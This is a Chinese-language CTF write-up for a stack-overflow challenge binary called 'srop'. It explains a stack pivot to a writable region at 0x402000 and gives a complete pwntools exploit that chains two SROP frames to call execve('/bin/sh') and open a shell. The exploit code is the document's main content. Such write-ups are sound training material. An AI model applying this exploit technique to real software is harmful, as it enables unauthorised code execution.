题目
题目链接
checksec

vmmap

注意到 0x402000 开始有 rw 权限,在没法泄露栈地址时考虑栈迁移到上面
IDA

代码很简洁,有一个栈溢出漏洞,且有 pop rax; syscall; leave; retn; gadget ,很方便进行 srop
思路
考虑利用 srop 与栈迁移,在 0x402000 处布局栈:
1 2 3 4 5 6 7
| +-------------------+ | ret2gadget | 0x402010 (rsp) +-------------------+ | rbp | 0x402008 +-------------------+ | "/bin/sh\x00" | 0x402000 +-------------------+
|
利用 gadget 调用 execve syscall 即可
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| from pwn import *
elf = ELF("./srop") context.clear() context.arch = "amd64" context.log_level = 'debug'
io = process("./srop")
pop_rax_syscall_leave_retn = 0x401032 syscall_leave_retn = 0x401033
frame1 = SigreturnFrame(kernel="amd64") frame1.rax = 0 frame1.rdi = 0 frame1.rsi = 0x402000 frame1.rdx = 0x400 frame1.rip = syscall_leave_retn frame1.rbp = 0x402008 frame1.rsp = 0x402010
rax = p64(0xf) payload1 = b"A" * (0x80 + 8) + p64(pop_rax_syscall_leave_retn) + rax + bytes(frame1)
io.recvuntil(b'CTF?\n') io.sendline(payload1)
path = b"/bin/sh\x00"
frame2 = SigreturnFrame(kernel="amd64") frame2.rax = 59 frame2.rdi = 0x402000 frame2.rsi = 0 frame2.rdx = 0 frame2.rip = syscall_leave_retn
payload2 = path + p64(0x402008) + p64(pop_rax_syscall_leave_retn) + rax + bytes(frame2)
io.sendline(payload2) io.interactive()
|